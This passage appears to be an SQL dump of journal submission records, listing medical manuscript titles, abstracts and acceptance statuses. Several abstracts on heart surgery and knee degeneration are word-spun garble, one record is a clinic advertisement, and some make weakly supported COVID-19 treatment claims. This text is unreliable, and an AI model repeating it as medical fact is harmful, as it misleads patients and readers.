the lack of physical exercises, the objective of this study was to investigate how strength training can generate benefits in elderly people who present with sarcopenia and promote the reduction of falls. From a literature review in the Scielo and PubMed databases, eight articles were selected to compose the results. Thus, it was possible to conclude that this protocol is known as an alternative for the prevention of falls due to sarcopenia, since it is capable of promoting a significant increase in muscle mass, as well as improving the balance and functional capacity of the elderly.','Old man; Accidents due to falls; Sarcopenia; Resistance Training',388,NULL,'2021-02-10',NULL,'Submitted',2,NULL,'2021-03-02',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7356,8632,91,0,'ijddr-21-7356','A POTENT PHARMACOLOGICAL PLANT FOR TRADITIONAL MEDICINE SYSTEM - “ACHYRANTHES AASPERA”',NULL,19,0,'','Nature has been a resource of medicinal constituents for thousands of years and an extraordinary number of modern drugs have been isolated from natural sources. India is a soil of prosperous biodiversity, the total number of lower and higher plants in India is about more than 45,000 species. The plants are potential resource of medicines since antiquity. The medicinal plants are used for treatment of various diseases because of their safety and effectiveness. Achyranthes aspera (Amaranthaceae) is an important medicinal herb found as a weed throughout India. Though almost all of its parts are used in traditional systems of medicines, seeds, roots and shoots are the most important parts which are used medicinally. Achyranthes aspera L. (Amaranthaceae) has long been used in different systems of medicine in the treatment of cancer, leprosy, asthma, wound, insect and snake bite, dandruff, hepatitis, renal disorders, dermatological disorders, gynecological disorders, gonorrhea, malaria, fever, cough, diabetes, pyorrhea, dysentery, opthalmia, rabies, hysteria, toothache etc. The plant has been used as Antimicrobial, Antiviral and Anti-carcinogenic, Spermicidal, Anti-parasitic, Anti-cancerous, Hypoglycemic, Hypolipidemic, Wound Healing, Anti-inflammatory, anti-arthritic and Anti-oxidant, Nephroprotective, Cardiac, Anti-depressant activity etc. The present review deals with the enormous amount of scientific research and reports available in different aspects of this plant involving phytochemistry and pharmacology.','Achyranthes aspera, potential, phytochemistry, medicinal properties, pharmacological activities.',2231,NULL,'2021-02-10',NULL,'Submitted',2,NULL,'2021-04-01',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(7376,8648,277,0,'ipadm-21-7376','EFECTOS DE LA CARGA PARASITARIA SOBRE LAS ENFERMEDADES ALERGICAS',NULL,17,0,'','Existe una gran correlación entre el estilo de vida de los países desarrollados y la prevalencia de enfermedades alérgicas. Los posibles factores que pueden influir en la aparición de éstas son factores socio-económicos, polución, hábitos alimenticios, atención sanitaria, exposición a alérgenos, exposición al sol, papel de la Vitamina D, entorno microbiano y parasitario. Sin embargo, este último ha recibido un especial interés.\r\nEsto debido a que se prevé que la falta de exposición a agentes infecciosos aumenta la susceptibilidad a enfermedades alérgicas, incluso algunos autores amplían el concepto a otras enfermedades inflamatorias y relacionan el aumento de su prevalencia a la exposición disminuida a algún tipo de microorganismo. Si es cierto que nuestro entorno siempre ha estado repleto de microorganismos y parásitos, es de esperar que el sistema inmunológico no solo se haya adaptado a ello, sino que también los necesita ','PARASITOS\r\nENFERMEDADES ALERGICAS\r\nHELMINTOS',2805,NULL,'2021-02-11',NULL,'Submitted',2,NULL,'2021-04-16',NULL,1,1,'1','Accepted for publication',0,'','',NULL,0,0,0,NULL,0),(7395,8204,45,0,'iphsj-21-7395','An Evaluation of Dose and Source-dependent Activity of of Ethanolic Extract of Trigonella foenum-graecum against Diabetes Using Alloxan-Induced Rat Model',NULL,14,0,NULL,'Metabolic disorder diabetes results from an alteration of the secretion or action of insulin. Trigonella foenum-graecum is a traditionally used specimen since ancient times. We aimed to investigate the hypoglycemic potential of ethanolic extract of T.  foenum-graecum seed powder solution both in a dose and source-dependent manner as well as to fathom out its safety profile so that this plant can be used to ameliorate diabetes. Diabetes was induced in the rat model via intraperitoneal injection of alloxan (150 mg/kg). Ethanolic extract of T. foenum graecum was administered to rats’ belonged to different groups. Blood glucose levels were assessed periodically and the safety profiles were evaluated through assessment of SGOT, SGPT, creatinine, and lipid profiles after sacrificing the animals. It has been evidenced that T. foenum graecum possesses anti-diabetic activity. Furthermore, the extract is capable of reversing the disturbed pathological state towards a healthy status. Besides, these therapeutic consequences possess dose-dependent potentiality (p<0.05), further a noteworthy source dependent (p<0.01) response were experienced. It may confer that the inconsistency associated with the remedial impacts between 2 same doses belonged to two distinct sources are due to accuracy of lab-based preparation, geographic area of cultivation, and also the season of collection. Apart from that, the visual and statistical inspections have evidence that the medium and the high dose are imparting almost indistinguishable therapeutic effects. Presumably, the reason lies beneath the receptor saturation issue.','Trigonella foenum-graecum, alloxan, hypoglycemic effect, dose dependency, source dependency, safety profile,',388,NULL,'2021-02-12',NULL,'Submitted',2,NULL,'2021-02-26',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7396,8659,251,0,'ipacm-21-7396','Zika Virus: A Mosquito-Borne Flavivirus ',NULL,5,0,'','The Zika virus is part of the Flaviviridae family of viruses. It is transmitted by Aedes mosquitoes that are active during the day, such as A. Aegypti, A. From albopictus. Its name comes from the Ugandan Ziika Forest, where, in 1947, the virus was first isolated. The species shares dengue, yellow fever, Japanese encephalitis, and West Nile viruses with the Zika virus. There are sometimes no or only mild signs of an infection known as Zika fever or Zika virus disease, similar to a very mild type of dengue fever.','Zika virus, flavivirus, Microcephaly',3944,NULL,'2021-02-12',NULL,'Submitted',2,NULL,'2021-02-23',NULL,1,1,'0',' ',0,'','',NULL,0,0,0,NULL,0),(7400,8661,326,0,'IPJUS-21-7400','Keyhole May Best Mechanical Medical Procedure for Mitral Valve Fix',NULL,5,0,NULL,'Keyhole medical procedure for heart valve fix may best mechanical medical procedure, since it is related with lower paces of resulting heart shudder and blood bondings, and a more limited clinic stay, uncovers research taking a gander at the upsides and downsides of various careful methodologies, distributed online in the diary Heart.\r\n\r\nYet, as keyhole, mechanical, and customary medical procedure are generally protected and successful, the decision of which to perform ought to be represented by understanding inclination and the experience of the working specialist, recommend the analysts. Notwithstanding the lofty expectations to absorb information and extra expense included, mitral valve fix is the most well- known heart activity performed utilizing robot helped a medical procedure. Be that as it may, to date couple of studies have contrasted it and keyhole and ordinary careful procedures.\r\n\r\nThe specialists thusly drew on an examination of 2300 patients who required arranged mitral valve fix a medical procedure somewhere in the range of 2011 and 2016, and who were dispensed to either automated a medical procedure (372), keyhole medical procedure (576), or\r\ntraditional (1352) sternotomy - where the sternum is cut open and separated. Paces of fruitful fix were high in those going through mechanical and keyhole medical procedure: 91 percent. In any case, they were essentially lower in the individuals who had traditional medical procedure: 76 percent. This was regardless of comparable paces of degenerative infection across all the cases.\r\nThe mechanical method set aside the most effort to perform - 224 minutes contrasted and 180 minutes for keyhole and 168 minutes for traditional medical procedure.','mitral valve, degenerative infection',2505,NULL,'2021-02-12',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7401,8661,326,0,'IPJUS-21-7401','Assurance for Pacemakers',NULL,5,0,NULL,'ETH researchers have built up an uncommon defensive layer made of cellulose that\r\nfundamentally decreases the development of fibrotic tissue around heart pacemaker inserts, as revealed in the recent concern of the diary Biomaterials. Their advancement could extraordinarily rearrange surgeries for patients with heart pacemakers.\r\n\r\n\"Each pacemaker must be supplanted sooner or later. At the point when this opportunity arrives, commonly after around five years when the gadget\'s battery lapses, the patient needs to go\r\nthrough a medical procedure,\" clarifies Aldo Ferrari, Senior Scientist in ETH Professor Dimos Poulikakos\' gathering and at Empa. \"On the off chance that an excessive amount of fibrotic\r\ntissue has conformed to the pacemaker, it confuses the strategy,\" he clarifies. In such cases, the specialist needs to cut into and eliminate this overabundance tissue. Not exclusively does that delay the activity, it additionally builds the danger of entanglements, for example, disease.','Biomaterials, Heart pacemaker, fibrotic tissue',2505,NULL,'2021-02-12',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7402,8661,326,0,'IPJUS-21-7402','Coronary Course Sidestep A Medical Procedure Compelling in Patients with Type 1 Diabetes',NULL,5,0,NULL,'Worldwide rules suggest coronary conduit sidestep a medical procedure (CABG) over the\r\nutilization of inflatable catheters (in a cycle called percutaneous coronary intercession, or PCI) to augment artherosclerotic coronary veins in diabetes patients with at least two unhealthy coronary vessels. Nonetheless, since the fundamental examination has not separated between patients with type 2 diabetes and the more uncommon sort 1 diabetes, it has been hazy whether the suggestion applies to the two kinds.\r\n\r\n\"Since type 1 diabetes is an alternate sickness with various complexities, it\'s never been given\r\nthat the therapy ought to be equivalent to with type 2 diabetes,\" says Martin Holzmann, specialist at Karolinska Institutet\'s Department of Medicine in Solna. Dr Holzmann and his associates have now followed up all patients with type 1 diabetes who went through purported revascularization of at least two limited coronary vessels, a methodology for improving blood dissemination in the heart, in Sweden between the years 1995 and 2013.','type 2 diabetes, coronary vessels, revascularization',2505,NULL,'2021-02-12',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7404,8661,326,0,'IPJUS-21-7404','Target Found That Ends Osteoarthritis- Type Knee Ligament Degeneration',NULL,5,0,NULL,'There is at present no remedy for osteoarthritis, yet a gathering of researchers accept they\'ve found a strategy through which a straightforward knee infusion might actually stop the sickness\' belongings. These scientists indicated that they could focus on a particular protein pathway in mice, put it into overdrive and end ligament degeneration over the long haul. Expanding on that discovering, they had the option to show that treating mice with medical procedure inducedknee ligament degeneration through a similar pathway by means of the cutting edge of nanomedicine could drastically decrease the ligament degeneration and knee torment\r\n\r\nThe specialists contrasted normal mice and those that had a particle that bound to EGFR, called a ligand, that was over-overexpressed in chondrocytes, the structure squares of ligament. This overexpression drives the over-enactment of EGFR motioning in knee ligament. While looking at them, the mice with overexpressed HBEGF (the EGFR ligand) were found to reliably have augmented ligament, implying that it wasn\'t eroding like the mice who had typical EGFR action. Also, when these mice matured to adulthood, their ligament was impervious to degeneration and different signs of osteoarthritis, regardless of whether their knee\'s meniscus was harmed.','knee ligament, knee infusion, ligament degeneration',2505,NULL,'2021-02-12',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7405,8661,326,0,'IPJUS-21-7405','Better Post-Medical Procedure Care Would Significantly Improve Malignant Growth Endurance',NULL,5,0,NULL,'Patients in low-and lower-center pay nations were up to multiple times bound to pass on from entanglements inside 30 days of medical procedure contrasted and those in big time salary\r\nnations, the report said. A mosquito-borne parasitic sickness, LF, otherwise called elephantiasis, influences 120 million individuals internationally. The appearances of the sickness are generally irreversible and a reason for financial and mental issues for patients and their families.\r\nHydrocele, an aggregation of liquid in the scrotum that makes it swell, is one of the persistent\r\nindications of filariasis among men, and there are 26.8 million instances of hydrocele around the world. The creators\' collaboration with patients, their spouses, and local area individuals during these investigations uncovered a few issues identified with marriage and sex because of hydrocele.\r\n\r\nNumerous patients met revealed a sensation of disgrace and shame, and 87% detailed torment in the scrotum during intercourse. A few patients, just as their spouses, wanted a medical procedure to eliminate the hydrocele (hydrocelectomy), yet most have not gone through this strategy for different reasons, including the costs in question and absence of careful offices in rustic general wellbeing establishments. Sexual disappointment and the physical and financial weights of hydrocele supposedly contributed to an absence of bliss and correspondence inside couples.\r\nMoreover, ladies locally said that influenced men are by and large seen as the \"last decision\" for marriage.','Elephantiasis, parasitic sickness, hydrocelectomy',2505,NULL,'2021-02-12',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7408,8665,45,0,'iphsj-21-7408','New Breast Cancer Treatment',NULL,17,0,'','NorthStar Surgery specializes in Breast Cancer Treatment performing Breast Cancer Surgery Lumpectomy and Cryoablation for Breast Cancer. The Austin, TX top Breast Oncology Surgeon!\r\n','New Breast Cancer Treatment',4076,NULL,'2021-02-12',NULL,'Submitted',4,NULL,'2021-02-15',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7419,8678,45,0,'iphsj-21-7419','Using Expandable micro-motor bur (EMB) for extraction of molar tooth root of dog\'s upper jaw',NULL,10,1,'Extraction of a broken tooth root ','Background: Extraction of a broken tooth root is often a traumatic involvement for both the specialist and the patient. To extract broken roots, generally, invasive approaches as open window surgeries or mucoperiosteal flap and/or removal of buccal bone are performed. Expandable micro-motor bur (EMB) is a practical dental instrument proposed for the removal of broken teeth roots that cannot be extracted by the routine closed methods. The device comprises a micro-motor, spacers, needles, bur base, and a round bur that drills halfway through the root canal, expands to make a spherical cavity around itself, and behaves as an efficient extraction aiding anchor. The utilization of EMB would introduce a new technique in the removal of broken teeth roots in which surgical trauma is minimized and so are post-extraction disorders. The use of EMB would also eliminate surgical invasion to the surrounding tissues, and it would eliminate profound hand forces by the practitioner, consequently reduces stress for both the practitioner and the patient. It would also eliminate high-risk aftermaths of the surgery such as operative morbidity (due to bone loss), maxillary sinus exposure, and probable need for additional surgery which are some of the implications of the conventional open access approaches. \r\nMaterial & Methods: We have tested the prototype of EMB on the molar tooth root of a dog in his upper jaw (M1) in the Medical Sciences and Technologies Research Institute of Shahid Beheshti University. \r\nResults: No injuries to the buccal bone and surrounding nerves were observed and the root was successfully extracted. Further studies are needed to confirm its effectiveness in clinical cases.\r\n','',4691,NULL,'2021-02-13',NULL,'Submitted',2,NULL,'2021-03-29',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(7420,8679,73,0,'ipjnn-21-7420','R2* relaxometry in sclerotic hippocampi of patients with temporal lobe epilepsy',NULL,10,2,'','Pharmacoresistance to antiepileptic therapy is a frequently observed phenomenon in mesial temporal lobe epilepsy  with hippocampal sclerosis (HS-TLE). Neurosurgical intervention can be an alternative treatment in drug-resistant HS-TLE patients. Several studies have already proven that in unilateral MRI abnormality, which is most frequently hippocampal sclerosis, predicts a more favorable seizure outcome. \r\nMRI characteristics of hippocampal sclerosis are well discribed in the literature of neuroimaging. \r\nIn most cases, hippocampal sclerosis can be detected by atrophy and T2 signal abnormalities, however, there is a number of subtle primary findings and negative cases as well. The diagnosis of TLE can be supported by the measurement of quantitative secondary MRI signs on the pathological side. R2* relaxometry is a quantitative approach in magnetic resonance imaging. The technique is based on the local increase of the inhomogenity of the magnetic field that results in an increase of R2* relaxivity. There has been one hitherto published study on this topic in literature, which was based on SWI imaging regardless to the specificities of the hippocampus. The aim of this study is to investigate the utilization of R2* relaxometry in patients diagnosed with HS-TLE.\r\nMethods: Thirteen patients (10 females, mean age: 41.5 ± 15.4 years, range: 19–63 years) with temporal lobe epilepsy associated with unilateral hippocampal sclerosis (4 right-sided, 9 left-sided) were enrolled in the study compared with thirteen age- and gender matched healthy control subjects (mean age: 41.9 ± 15.3 years, range: 19–66 years). Beside the MRI with epilepsy-specific protocol, MRI with research protocol was also obtained for all patients between January 2013 and June 2015 at least 48 hours following the last seizure. For R2* mapping a multi-echo 3D FLASH sequence was used with 12 echoes. The calculation of the R2* map was done with the help of Matlab (MathWorks, Natick, MA). To obtain regional R2* relaxation rate of the hippocampus, automatic hippocampal segmentations were performed on T1-weighted MPRAGE images.\r\nResults: The R2* values were found significantly decreased in the ipsilateral, sclerotic hippocampi of patients with HS-TLE compared to the corresponding side of control subjects (p<0.001) or the contralateral side of the same subject (p=0.002). Comparison of the contralateral, non-sclerotic hippocampi of HS-TLE patients and the corresponding site of the controls did not show significant difference. Focusing on the control group, there was no significant inequality in R2* values between the hippocampi of the two sides (corresponding ipsi- and contralateral sides of patients). Examination of the potential connections between the volumes and R2* values of the ipsi- and contralateral hippocampi, no significant correlations were found neither in the HS-TLE, nor in the control group.\r\nConclusion: R2* relaxometry might be an additional method to assess the lateralization of hippocampal pathologies in patients with HS-TLE.','epilepsy, temporal lobe epilepsy, pharmacoresistance, neurosurgery',351,NULL,'2021-02-13',NULL,'Submitted',19,NULL,'2021-10-23',NULL,1,1,'0','Accept with minor revision',0,'','',NULL,0,4,0,NULL,0),(7421,8680,251,0,'ipacm-21-7421','In vitro screening of anti-viral and virucidal effects against SARS-CoV-2 by Hypericum perforatum and Echinacea.',NULL,15,1,'A treatment for SARS CoV-2 infection.','Special Infectious Agent Unit in King Fahd Medical Research Center at King Abdulaziz University, Jeddah, Saudi Arabia, has pursued the anti-viral project field to optimize the group of medicinal plants for human-infectious diseases. We have begun virtually in this field since COVID-19 pandemic, besides our divergence in the infectious agents. In this study and based on the previous review, Hypericum perforatum (St. John’s Wort) and Echinacea (gaia HERBS®) were tested in vitro using Vero E6 cells for their anti-viral effects against the newly identified Severe Acute Respiratory Syndrome Coronavirus-2 (SARS-CoV-2) through its infectious cycle from 0 to 48 hours post infection. The hypericin (0.9 mg) of H. perforatum and the different parts (roots, seeds, aerial) of two types of Echinacea species (Echinacea purpurea and Echinacea angustifolia) were examined their efficacy in certain concentration and under light-dependent anti-viral activities to measure the inhibition of the SARS-CoV-2 mRNA expression of RNA-dependent RNA polymerase (RdRP) gene and the viral load with quantitative real-time polymerase chain reaction (qRT-PCR), and to assess the neutralization of the SARS-CoV-2 spike receptor binding on cell culture assay. Interestingly, the mixture (H.E.) of 100 mg/mL of H. perforatum and Echinacea was tested too on SARS-CoV-2 and showed crucial anti-viral activity competing H. perforatum then Echinacea effects as anti-viral treatment. Therefore, the results of gaia HERBS® products, H. perforatum and Echinacea species, applied in this study showed significant anti-viral and virucidal effects in the following order of potency: H. perforatum, H.E., and Echinacea on SARS-CoV-2 infectious cycle; and will definitely require a setup of a clinical trial with a specific therapeutic protocol based on the outcome of this study.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n','Keywords: SARS-CoV-2; anti-viral assays; Hypericum perforatum; Echinacea.',3946,NULL,'2021-02-14',NULL,'Submitted',2,NULL,'2021-03-18',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(7422,8681,959,0,'ipacr-21-7422','Minimally Invasive Management of Challenging Left Sided Pulmonary Sequestration ',NULL,2,0,'','Pulmonary sequestration is a relatively uncommon congenital disease and is rarely diagnosed in adults, tissue diagnosis is essential to rule out malignancy. Patients with pulmonary sequestration usually present with recurrent respiratory complications that are often attributed to other underlying pathology. Even though the sequestered tissue is small in size, it can harbor malignancy and as in this case affect the quality of life of the patient. Surgical management can be challenging as these cases often require large posterolateral thoracotomy to access the lesion and adequately ligate the feeding vessels. Failure to do so can result in significant blood loss directly emanating from the aorta. Robotic surgery in this setting can reduce complication profile of surgical approach without compromising safety.','',3284,NULL,'2021-02-14',NULL,'Submitted',2,NULL,'2021-04-02',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(7424,8683,971,0,'ipaclr-21-7424','PROSPECTIVE INTERVENTIONAL STUDY TO EVALUATE THE EFFECT OF A MEDICAL DEVICE MADE OF SUBSTANCES IN REDUCING SIGNS AND SYMPTOMS IN PATIENTS WITH HEMORRHOIDAL DISEASE',NULL,14,0,'','Background and Aim: Hemorrhoidal disease (HD) is a chronic pathology and fairly common in the general population, two data at the base of the importance that conservative therapies being used are, at the same time, effective and tolerated. Topical medications available usually contain either a combination of local anesthetics with anti‐inflammatories or muscle relaxants, thus addressing a single mechanism, if any, of those that underlie symptoms onset. As a consequence, evidence of efficacy of these drugs is currently limited and not always studies could show the level of tolerability and safety expected and needed for topical treatment of HD. Aim of the present study was to evaluate effect and tolerability of a 100% natural topical ointment made of substances in symptomatic HD treatment.\r\nMethods: Symptomatic grade I or II HD patients with 0-100 VAS score for HD-related discomfort ≥ 30 were treated for 10 days. Outcome measures included variation of HD subjective symptoms (discomfort, pain, itching and burning) and objective signs (bleeding and anal leakage) at day 3, 7 and 10, and presence of prolapse after treatment.\r\nStatistical analysis: In the analysis of the primary endpoint (i.e. reduction of discomfort), missing data in the full analysis set (FAS) population were replaced by “last observation carried forward” (LOCF) method. In secondary efficacy analyses, Poisson mixed model was used to evaluate variation in symptoms (VAS). Bleeding and anal leakage were recoded as negative or positive in two different variables (grade 1 and 2) derived from their frequency (i.e., for grade1, each of the clinical signs was considered Negative if the patient reported frequency was “Never”; recoded as Positive if any other frequency category was reported) and frequencies of positive patients in each grade were compared by Logistic Mixed model. Mixed models were used to take in account repeated data for the same subject. Missing values in quantitative data analyzing by Mixed model were imputed by statistical interpolation. In analyzing bleeding, anal leakage and presence of prolapse in FAS population, missing data where either replaced by LOCF method or imputed as positive (i.e., worst case).\r\nResults: 45 patients were enrolled. Data showed a significant reduction of discomfort in treated patients both during and after treatment (p<0.001 at all time points evaluated), with a median VAS score decrease of 30 points after treatment when compared to baseline. The same extent of significant reduction (p<0.001) could be shown for all other symptoms either at the end of treatment or at earlier time points, both in PP and FAS populations. As for objective signs, in PP population a significant reduction of patients positive for bleeding (p<0.001) and anal leakage (p<0.05) at each time point as compared to baseline was observed. A similar evolution was shown in FAS population, where reductions were progressive over the 10-day course of treatment and statistically significant, when not tending to significance, at each time point as compared to baseline, irrespectively of imputation method used. In 6 out of 10 patients presenting prolapse at baseline, prolapse was no more evident after treatment. No treatment-related adverse events were registered.\r\nConclusion: The class IIb medical device made of substances under study is a valid, highly tolerated and safe therapeutic option in medical management of grade I and II HD.\r\nTrial registration NCT03545724 2018.06.04\r\n','Hemorrhoidal disease â—¦ Visual analog scale â—¦ Bleeding â—¦ Medical device made of substances ',3249,NULL,'2021-02-14',NULL,'Submitted',2,NULL,'2021-03-30',NULL,1,1,'0','The paper can be accepted after the revision.\r\n\r\nPlease proceed further\r\n',0,'','',NULL,0,0,0,NULL,0),(7426,8685,45,0,'iphsj-21-7426','Miglustat: A glycotransferase inhibitor for Covid-19 treatment.',NULL,14,0,'',' Severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) undergoes blood type specific glycosylation which has implications for infection susceptibility and replication without detection from the immune system. SARS-CoV-2 hijacks the host cell glycotransferase resulting in spike protein glycosylation resembling blood type antigens. Infection risk correlates to blood types that do not have anti-A and/or anti-B antibodies similar to that seen for ABO blood type recipients. The universal recipient AB is highly susceptible to infection lacking both anti-A and B antibodies, whereas blood type O has both antibodies resulting in less risk of infection. Once infected, SARS-CoV-2 obtains the blood type specific glycosylation of the host resulting in an effective camouflage against immune system recognition. Decoding the link between blood type and coronavirus disease 2019 (COVID-19) susceptibility exposes a role for miglustat a glycosyltransferase inhibitor in treatment. Use of the FDA-approved glycosyltransferase inhibitor miglustat can inhibit spike protein glycosylation revealing the SARS-CoV-2 virus for immune system recognition.','Miglustat, Covid-19, Treatment, Viral infection, SARS-CoV-2',4013,NULL,'2021-02-14',NULL,'Submitted',2,NULL,'2021-03-02',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(7428,8688,667,0,'iptb-21-7428','persistent pneumothorax a diagnostic conundrum',NULL,2,0,'','Persistent pneumothorax a diagnostic conundrum. \r\n\r\n  Author: Samer Talib, MD   \r\n\r\nIntroduction: A persistent pneumothorax constitutes constant air bubbling from an in situ intercostal drain, for 48 hours after insertion. Persistent pneumothorax requires proper identification of potentially treatable etiologies. We report a case of persistent pneumothorax caused by severe COVID19 virus infection. \r\n\r\nCase description: 60-years-old morbidly obese male with a past medical history of hypertension, type 2 Diabetes Mellitus, Atrial fibrillation, and sleep apnea. The patient presented to the ER with shortness of breath, fever, and progressive generalized weakness for (3) days. The Patient’s history was noteworthy for exposure to a sick family member. Physical exam revealed that his Blood Pressure is 133/72mmhg, HR 93BPM, Saturation 82% in room air, and temperature 102.2F, Nasopharyngeal swab for Corona virus came back Positive on the second day of admission, Chest x-ray depicted bilateral airspace opacities suspicious for multifocal infiltrate pneumonia, with right chest pneumothorax. The cardiothoracic surgeon was consulted, and an intercostal chest tube was inserted on the right side. Chest x-ray after chest drain insertion revealed a complete resolution of right chest pneumothorax, which alleviated the patient’s shortness of breath, and his saturation in room air increased to 93%, but there was continuous air bubbling through the chest drain for three days. Then the patient reported a new onset of chest pain and recurrence of shortness of breath, in-room air his saturation dropped to 82% after it was 93%. A Chest x-ray showed recurrence of right chest pneumothorax despite continuous air bubbling through the chest tube. The cardiothoracic surgeon placed a second intercostal chest tube on the right side, then the patient endorsed improvement in his shortness of breath, and his saturation in room air increased to 93% with continuous air bubbling through the chest drain. A chest x-ray after the second chest drain showed right lung expansion and residual right pneumothorax, CT scan of the chest showed Small to moderate right pneumothorax with pneumomediastinum. The cardiothoracic surgeon decided to proceed with a CT scan guided chest tube placement, a CT scan image of the chest after the procedure revealed a complete resolution of the right chest pneumothorax.  \r\n\r\nConclusion: \r\n\r\nPersistent pneumothorax is a diagnostic dilemma because the list of differential diagnoses are lengthy which may include necrotizing lung infections, cystic lung diseases such as (Langerhans cell histiocytosis, metastasis, etc.), and traumatic or iatrogenic bronchopleural fistula. This case describes a first persistent pneumothorax resulted from severe COVID 19 virus infection to our knowledge. \r\n\r\n \r\n\r\nReferences:  \r\n\r\nChaturvedi A, Lee S, Klionsky N, Chaturvedi A. Demystifying the persistent pneumothorax: role of imaging. Insights Imaging. 2016 Jun;7(3):411-29. doi: 10.1007/s13244-016-0486-5. Epub 2016 Apr 21. PMID: 27100907; PMCID: PMC4877351. \r\n\r\nMacDuff A, Arnold A, Harvey J. Management of spontaneous pneumothorax: British thoracic society pleural disease guideline 2010. Thorax. 2010;65(Suppl 2):ii18–ii31. doi: 10.1136/thx.2010.136986. ','COVID 19 / persistent pneumothorax/ Chest tube.  ',4092,NULL,'2021-02-14',NULL,'Submitted',2,NULL,'2021-03-09',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7432,8691,639,0,'ipfs-21-7432','Effect of natural additives on the quality attributes of cultivated common carp fillets during frozen  storage. ',NULL,3,0,'','Effect of natural additives on the quality attributes of cultivated common carp fillets during frozen  storage were evaluated. The analysis of chemical composition; moisture, crude protein, carbohydrates, calories values and physico-chemical properties; pH, total volatile basic nitrogen (TVB-N) and thiobarbituric acid (TBA) value were carried out during frozen  storage at -18°C for 180 days.\r\n		Results revealed that, moisture, crud protein and ash contents decreased with the increasing storage periods and increased in all samples treated with natural additives compared to the control ones. Crude fat increased with the increasing storage periods and increased in all samples treated with natural additives compared to the control ones. Carbohydrate contents and calories values increased with the increasing storage periods and decreased in all samples treated with natural additives compared to the control ones during the different storage periods. However, pH value, thiobarbituric acid and total volatile base-nitrogen values increased with the increasing storage periods and decreased in all samples treated with natural additives than in the control ones, during the different storage periods.\r\n	The natural additives such as natural additives (black seed, grape seed jojoba, and chitosan) enhancement the chemical compositions and physico-chemical quality of common carp fillets during frozen  storage.\r\n\r\n','Natural additives,  essential oil, black seed, grape seed jojoba, chitosan, common carp, frozen storage',1777,NULL,'2021-02-15',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'0','  ',0,'','',NULL,0,0,0,NULL,0),(7441,8331,73,0,'ipjnn-21-7441','The role of visual evoked potentials in the differential diagnosis of demyelinating diseases',NULL,14,0,NULL,'Purpose: This study aims to investigate the role of visual evoked potentials (VEP) in the diagnosis of patients with demyelinating disease.\r\nMethod: The study was designed retrospectively; VEPs performed in our electrophysiological laboratory in the last 1 year were evaluated (2017-2018). 132 of them with full medical records were included in the study. 3 groups were constituted: 1st group: Demyelinating spectrum (multiple sclesosis (MS), clinical isolated syndrome (CIS), radiological isolated syndrome (RIS), and possible demyelination), 2nd group: Unidentified bright objects (UBO) and 3rd (control) group: neurological examination and neuroimaging without any abnormality after application with various symptoms.\r\nResult: A statistically significant difference was observed in the VEP values of the demyelinating spectrum disease group compared to the UBO and the control group. VEP findings of UBO group were not different from the control group.\r\nConclusions: While abnormalities in VEP can bring the diagnosis closer to the demyelinating spectrum, the normality of VEP may strongly indicate the absence of the demyelination process. In cases where nonspecific MR findings cannot be supported by clinical data, normal VEP may distract the diagnosis from demyelinating disease.','VEP, unidentified bright objects, demyelinating spectrum disease',337,NULL,'2021-02-15',NULL,'Submitted',4,NULL,'2021-04-02',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7442,8331,73,0,'ipjnn-21-7442','The Effect of Oligoclonal Bands in Patients with Multiple Sclerosis',NULL,14,0,NULL,'Background: The data for oligoclonal bands (OCB) in cerebrospinal fluid (CSF) and the association with clinical profiles of patients with multiple sclerosis (MS) is lacking. We aimed to investigate the relationship between OCB and clinical and magnetic resonance imaging (MRI) features in MS patients.\r\nMethods:  Patients between the ages of 18-65 who were diagnosed with MS in the first 3 months of the onset of the disease were included. The difference between the clinical (gender, age of onset of disease, clinical presentation) and MRI characteristics as well as the choice of the treatment regimen of OCB-positive and negative patients were evaluated. The data of the patients were obtained retrospectively from our hospital records.\r\nResults:  64 patients who met the criteria were included in the study. Two groups were formed as 50 OCB positive (1st group) and 14 OCB negative (2nd group). In CSF values, cell number (p = 0.001) and IgG index were statistically significantly higher in OCB (+) patients compared to OCB (-) patients (p<0.001). In MRI, more frequent involvement in the lower cervical spinal segment was found in OCB (+) patients compared to OCB (-) patients. There were no significant differences between MS patients with or without OCB in relation to the course of the disease, symptoms of the first attack and severity, relapse rate, or disease modification therapy (DMT). \r\nConclusions: Our results showed that the presence of OCB had a negative effect on MRI in MS patients. Larger studies are warranted in MS patients.','Multiple Sclerosis; Biomarkers; Oligoclonal Bands; Imaging',337,NULL,'2021-02-15',NULL,'Submitted',4,NULL,'2021-04-02',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7445,8705,45,0,'iphsj-21-7445','A Review of Novel Coronavirus Infection: COVID-19',NULL,15,0,NULL,'The re-emergence of novel coronavirus variant has grappled the world and imposed a halt across the globe. Since, its identification as a novel pathogen, the SARS-Coronavirus-2 has caused more than 2 million deaths worldwide. This novel virus against which humans have vastly variable immune response is still expanding its reach all over the globe. Hence, it is really critical to understand the important facts about such a lethal entity. Here, in this review, we bring together the pieces of the puzzle to understand the origin, epidemiology, pathogenesis, prevention and treatment strategies of this novel disease COVID-19. Important references to the previous SARS-coronavirus have been made to better 